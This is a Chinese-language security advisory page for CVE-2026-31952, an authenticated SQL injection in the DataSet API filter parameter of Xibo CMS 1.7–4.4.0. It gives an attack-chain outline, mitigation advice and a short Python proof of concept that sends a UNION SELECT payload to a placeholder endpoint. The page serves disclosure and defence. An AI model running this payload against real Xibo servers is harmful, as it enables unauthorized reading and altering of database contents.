CVE-2026-31952 CVSS 7.6 高危

CVE-2026-31952 Xibo CMS SQL注入漏洞

披露日期: 2026-04-24

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-31952

漏洞类型

SQL注入

CVSS评分

7.6 高危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

Xibo CMS

漏洞概述

Xibo是一个开源数字标牌平台。在1.7至4.4.0版本中，CMS内部负责过滤DataSets的API路由存在SQL注入漏洞。拥有特定权限的经过身份验证的用户可以通过在API filter参数中注入特制值，从数据库中获取并修改任意数据。

技术细节

该漏洞源于Xibo CMS API中处理DataSet过滤参数时未对用户输入进行充分的过滤和验证。攻击者需要拥有“Access to DataSet Feature”或“Access to the Layout Feature”权限。通过向受影响的API端点发送包含恶意SQL语句的filter参数，攻击者可以操纵后端数据库查询。这利用了SQL注入机制，绕过正常的数据访问控制，从而读取敏感信息或修改数据库内容。由于攻击无需用户交互且复杂度低，这使得已授权的恶意用户能够轻易利用此漏洞。

攻击链分析

STEP 1

侦察

识别目标Xibo CMS实例及其版本信息。

STEP 2

获取凭证

获取具有“Access to DataSet Feature”或“Access to the Layout Feature”权限的低权限账户凭证。

STEP 3

构造Payload

针对API中的filter参数构造包含恶意SQL语句的注入Payload。

STEP 4

发送请求

向易受攻击的API端点发送带有恶意Payload的HTTP请求。

STEP 5

执行注入

后端数据库执行注入的SQL语句，导致数据泄露或修改。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Target URL (replace with actual endpoint)
target_url = "https://target-xibo-cms/api/dataset"

# Headers with authenticated session
headers = {
    "Authorization": "Bearer <VALID_TOKEN>",
    "Content-Type": "application/json"
}

# Payload demonstrating SQL Injection via filter parameter
payload = {
    "filter": "1' UNION SELECT 1, version(), 3, 4-- "
}

try:
    response = requests.post(target_url, json=payload, headers=headers)
    if response.status_code == 200:
        print("Potential SQL Injection successful:")
        print(response.text)
    else:
        print(f"Request failed with status code: {response.status_code}")
except Exception as e:
    print(f"An error occurred: {e}")

影响范围

Xibo CMS 1.7 - 4.4.0

防御指南

临时缓解措施

如果无法立即升级，应严格限制API访问权限，移除非必要用户的DataSet和Layout访问权限。同时，部署Web应用防火墙（WAF）以检测和阻断针对API参数的SQL注入攻击。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表